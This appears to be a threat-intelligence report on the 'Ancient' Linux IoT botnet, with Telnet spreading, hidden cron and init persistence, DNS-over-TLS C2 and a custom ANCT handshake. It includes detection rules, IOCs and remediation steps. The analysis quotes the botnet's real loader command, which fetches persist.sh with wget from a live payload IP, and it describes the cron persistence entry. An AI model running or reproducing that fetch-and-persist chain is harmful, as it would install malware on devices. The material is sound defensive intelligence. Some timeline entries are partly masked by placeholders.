Skip to navigation

Threat reportMalwareTL-2026-2955

"Ancient" Linux IoT botnet with custom ANCT C2 protocol (Telnet-spreading, DNS-over-TLS C2 resolution)

mediumACTIVE

Ancient is a previously undocumented Linux IoT botnet (Malpedia elf.ancient) that spreads via Telnet from already-infected devices, persists through cron, rc.local, init.d and profile.d, resolves its C2 over DNS-over-TLS, and communicates over a custom ANCT protocol. First samples were observed on 2026-10-04.

Key facts

IdentifiersTL-2026-2955
Also known asAncient, elf.ancient
SeverityMEDIUM
Affected productsVarious Linux-based IoT/embedded devices exposing Telnet (ARM arm4-arm8, MIPS, x86, x86_64, m68k, PowerPC, sh4)
Weaknesses (CWE)CWE-1392
MalwareAncient, Mirai
MITRE ATT&CK techniquesT1021 Remote Services, T1037.004 RC Scripts, T1049 System Network Connections Discovery, T1053.003 Cron, T1059.004 Unix Shell, T1071.004 DNS, T1078.001 Default Accounts, T1082 System Information Discovery, T1095 Non-Application Layer Protocol, T1546.004 Unix Shell Configuration Modification, T1564.001 Hidden Files and Directories, T1568 Dynamic Resolution and 3 more in the attack flow
MotivationUNKNOWN
Target sectorstechnology, telecoms, consumer-iot
Target regionsGlobal
Detection rules9 (1 shown free)
Sources7 cited sources

Detection coverage

As of 2026-10-05, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2955 across Splunk SPL, Microsoft KQL and Sigma, covering 24 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: Ancient Botnet — Cron Persistence Running the Hidden .ancient Binary (Post-Exploitation)

Detects the dropper installing a 5-minute cron job ('*/5 * * * * <dir>/.ancient') in /etc/crontab or /var/spool/cron/root and the cron daemon subsequently executing the hidden .ancient bot binary. Cron is the primary persistence mechanism of the Ancient botnet and relaunches the bot even after a reboot or process kill.

  • Languages: Splunk SPL, Microsoft KQL, Sigma
  • ATT&CK: T1053.003
  • Data sources: DeviceProcessEvents, DeviceFileEvents, Syslog, sysmon:linux, linux:audit
  • Severity: high
  • Confidence: high

Splunk SPL

index=linux sourcetype IN ("sysmon:linux","linux:audit","syslog","cron") earliest=-24h "ancient"
```Ancient cron persistence: .ancient written to or run from cron (TL-2026-2955)```
| regex _raw="[.]ancient"
| where match(_raw,"(?i)crontab|/var/spool/cron|CRON")
| stats count min(_time) as firstSeen max(_time) as lastSeen values(sourcetype) as sources values(CommandLine) as cmdlines by host
| convert ctime(firstSeen) ctime(lastSeen)

Microsoft KQL

let proc = DeviceProcessEvents
    | where Timestamp > ago(24h)
    | where ProcessCommandLine has ".ancient" and ProcessCommandLine has_any ("crontab", "/etc/crontab", "/var/spool/cron")
    | project Timestamp, Host = DeviceName, Source = "DeviceProcessEvents", Evidence = ProcessCommandLine;
let files = DeviceFileEvents
    | where Timestamp > ago(24h)
    | where FolderPath in~ ("/etc/crontab", "/var/spool/cron/root")
    | where ActionType in ("FileCreated", "FileModified")
    | where InitiatingProcessCommandLine has ".ancient"
    | project Timestamp, Host = DeviceName, Source = "DeviceFileEvents", Evidence = InitiatingProcessCommandLine;
let cron = Syslog
    | where TimeGenerated > ago(24h)
    | where ProcessName in~ ("CRON", "crond")
    | where SyslogMessage has "/.ancient"
    | project Timestamp = TimeGenerated, Host = Computer, Source = "Syslog-cron", Evidence = SyslogMessage;
union proc, files, cron
| order by Timestamp desc

Sigma

title: Ancient Botnet - Cron Persistence For Hidden .ancient Binary
id: e21c7f98-4b6a-4a3d-9c15-d8a03b5f7e62
status: experimental
description: Detects creation of a crontab entry (/etc/crontab or /var/spool/cron/root) that launches the hidden .ancient bot binary every 5 minutes, as installed by the Ancient botnet persist.sh dropper.
references:
    - https://github.com/ksi-digital/threat-research/tree/main/ancient-botnet
author: Threadlinqs Team
date: 2026/10/06
tags:
    - attack.persistence
    - attack.t1053.003
logsource:
    category: process_creation
    product: linux
detection:
    selection_name:
        CommandLine|contains: '.ancient'
    selection_cron:
        CommandLine|contains:
            - 'crontab'
            - '/var/spool/cron'
    condition: selection_name and selection_cron
falsepositives:
    - Unrelated software that ships a hidden file named .ancient and schedules it from cron (very unlikely)
level: high

Known false positives:

  • A legitimate application with a hidden file named .ancient scheduled via cron
  • Forensic or red-team tooling replaying the published persistence commands

Tuning notes: The hidden file name is the pivot, so the rule survives a drop-directory change (/tmp, /var/run, /mnt, /root, /). Many IoT devices only log cron execution to syslog, so keep the syslog branch. If the bot is renamed in a later build, fall back to alerting on cron entries whose command lives in /tmp, /var/run or /mnt with a */5 schedule.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple)
  • Ancient Botnet — [indicator] Dropper Fetch From Payload Server (Exploitation) · unlock with TL Creds
  • Ancient Botnet — init.d, profile.d and rc.local Persistence (Post-Exploitation) · unlock with TL Creds
  • Ancient Botnet — ANCT C2 Channel and Payload/C2 Server Contact (C2) · unlock with TL Creds
  • Ancient Botnet — Telnet Loader Probe Routine and ANCIENT_* Status Strings (Exploitation) · unlock with TL Creds
  • Ancient Botnet — Execution of the Hidden [indicator] Bot Binary (Post-Exploitation) · unlock with TL Creds
  • Ancient Botnet — DNS Lookup of C2 Domain [indicator] (C2) · unlock with TL Creds
  • Ancient Botnet — Telnet Session From Known Loader Infrastructure (Exploitation) · unlock with TL Creds
  • Ancient Botnet — DNS-over-TLS C2 Resolution to Cloudflare From Non-Resolver Hosts (C2) · unlock with TL Creds

Indicators of compromise

As of 2026-10-05, Threadlinqs Intelligence tracks 24 indicators of compromise for TL-2026-2955.

Sample indicators (3 of 24)

  • IP address: 89.163.157[.]131
  • Domain: zyrec2[.]duckdns[.]org
  • File hash: 6c44cbf5eb5e4f5231964a2fb24ef466b17e967f0d26f57c8285ade7424970db

Defanged, TLP:CLEAR. Full set of 24 indicators: unlock with TL Creds.

24 indicators of compromise · unlock with TL Creds. Compare plans

Technical analysis

Ancient is a Linux IoT botnet documented by Christophe Hubert (ksi-digital) on 2026-10-05 and catalogued by Malpedia as elf.ancient. The dropper, a shell script named persist.sh, ships 13 builds covering arm4-arm8, mips, mpsl, x86, x86_64, m68k, ppc and sh4.

Propagation is by Telnet: an already-infected device logs in to a target (the write-up reports empty-password root access, with probe routines testing for a working shell and busybox) and runs a command of the form 'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://89.163.157.131:8080/persist.sh'. The target reports a status string back: ANCIENT_STARTED, ANCIENT_NOCONN, ANCIENT_SKIP or ANCIENT_FAIL.

The dropper installs persistence in several places: a cron entry running every 5 minutes (including /etc/crontab and /var/spool/cron/root), rc.local, /etc/init.d/.ancient and, from dropper v3, /etc/profile.d/.ancient.sh. The bot binary uses the hidden filename .ancient. Three dropper versions (2802 B, 3380 B, 5952 B) and two x86-64 bot builds (2026-10-04 15:37 and 19:09 UTC) were observed.

The bot stays dormant while being ptraced, so no network activity occurs under a debugger. It resolves its C2 domain zyrec2.duckdns.org over DNS-over-TLS to Cloudflare 1.1.1.1:853, which hides the lookup from port-53 monitoring. The C2 handshake on TCP/35342 is a custom ANCT protocol: the bot sends the 4-byte magic 'ANCT' (41 4E 43 54) plus 32 high-entropy bytes (ephemeral key exchange), the server replies with 36 high-entropy bytes, and the stream is encrypted thereafter. The compiled bot generates its C2 domain, port and ANCT tag at runtime, so static string signatures only apply to the dropper script; the ANCT magic is port-agnostic on the wire.

The payload server and C2 share one host (89.163.157.131, AS24961 myLoc/WIIT AG, Germany; payload on 8080, C2 on 35342). Telnet loader sources 94.154.43.138 (delivered Ancient) and 94.154.43.196 (delivered a Mirai kit) sit in AS219502. The source notes a shared loader routine with an unrelated Mirai variant from the same network range. No CVE is exploited, no actor is attributed and no impact beyond botnet recruitment is documented; severity is analyst-assigned.

MITRE ATT&CK techniques by tactic:

Lateral Movement

T1021 Remote Services

Persistence

T1037.004 RC Scripts; T1053.003 Cron; T1546.004 Unix Shell Configuration Modification

Discovery

T1049 System Network Connections Discovery; T1082 System Information Discovery

Execution

T1059.004 Unix Shell

Command and Control

T1071.004 DNS; T1095 Non-Application Layer Protocol; T1568 Dynamic Resolution; T1571 Non-Standard Port; T1573 Encrypted Channel

Initial Access

T1078.001 Default Accounts

Defense Evasion

T1564.001 Hidden Files and Directories; T1622 Debugger Evasion

Remediation

Immediate actions

  • Block egress and ingress to 89.163.157.131 (ports 8080 and 35342) and the Telnet loader sources 94.154.43.138, 94.154.43.196 and 77.239.124.121
  • Sinkhole or block zyrec2.duckdns.org and alert on outbound DNS-over-TLS (TCP/853) from IoT/embedded segments
  • Alert on TCP payloads whose first four bytes are 'ANCT' (41 4E 43 54), regardless of port
  • Hunt for /etc/init.d/.ancient, /etc/profile.d/.ancient.sh, .ancient binaries and persist.sh in /tmp, /var/run, /mnt and /root

Workarounds

  • Block TCP/23 inbound from the internet and between internal segments
  • Remove the cron, rc.local, init.d and profile.d entries that reference .ancient, then reboot and re-image if the device cannot be verified clean

Longer-term hardening

  • Disable Telnet on IoT/embedded devices; use SSH with key-based auth
  • Eliminate empty and default credentials on all devices
  • Segment IoT devices and restrict their egress to required destinations only

Affected and fixed versions

  • Various — Linux-based IoT/embedded devices exposing Telnet (ARM arm4-arm8, MIPS, x86, x86_64, m68k, PowerPC, sh4)
    Vulnerable versions: Devices with Telnet enabled and empty or weak root credentials

Timeline

  • AS219502 (STORMCLOUD-AS, Storm Industries LLC), hosting the Ancient and Mirai Telnet loaders (94.154.43.0/24, 176.65.139.0/24), announced; locked-ioc-12 has been listed in ThreatFox as a Mirai C2 since 2026-06
  • Mirai C2 locked-ioc-15:18129, from the same network range as the Ancient loader but an unrelated variant, listed
  • locked-ioc-20 v3 (5952 B) served at 19:09 UTC with filesystem-durability scoring, a port byte-order fix and profile.d persistence; x86-64 bot rebuilt (SHA-256 748f50d4...)
  • locked-ioc-20 v2 (3380 B) served in the afternoon, adding a duplicate-instance guard
  • Infected device locked-ioc-16 Telnet-infected a honeypot at 15:37 UTC; dropper locked-ioc-20 v1 (2802 B) and the first x86-64 bot (SHA-256 6c44cbf5...) were fetched from locked-ioc-13:8080
  • Probe-only Telnet source locked-ioc-14 (AS198364) hit the honeypot at 00:31 UTC using the same loader probe routine
  • Christophe Hubert (ksi-digital) published the Ancient botnet write-up with IOCs and YARA, Suricata and Sigma detections
  • Loader locked-ioc-17 delivered an unrelated Mirai kit at 12:58 UTC using the same Telnet routine as Ancient
  • C2 at locked-ioc-13:35342 confirmed live in a controlled 10-minute window (02:01-02:11 UTC); ANCT handshake documented and the bot uploaded about 1.79 MB with no tasking from the server
  • C2 locked-ioc-13:35342 reported to ThreatFox and the IP to Spamhaus (~01:50 UTC); myLoc abuse contact notified
  • Sandbox runs showed no network activity while ptrace-traced (01:09 UTC); untraced (01:36 UTC) the bot resolved the C2 over DoT and made 33 connection attempts, blocked
  • Malpedia entry elf.ancient added (library entry dated 2026-10-05; the write-up records the entry as added 2026-10-06)

Sources cited

Previous and next in malware

Drafted by the Threadlinqs research pipeline from 7 sources; published ; last updated —.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

// threat_feed
$ sort --newest
Showing all threats

Live intelligence console

Threat level

Latest Threats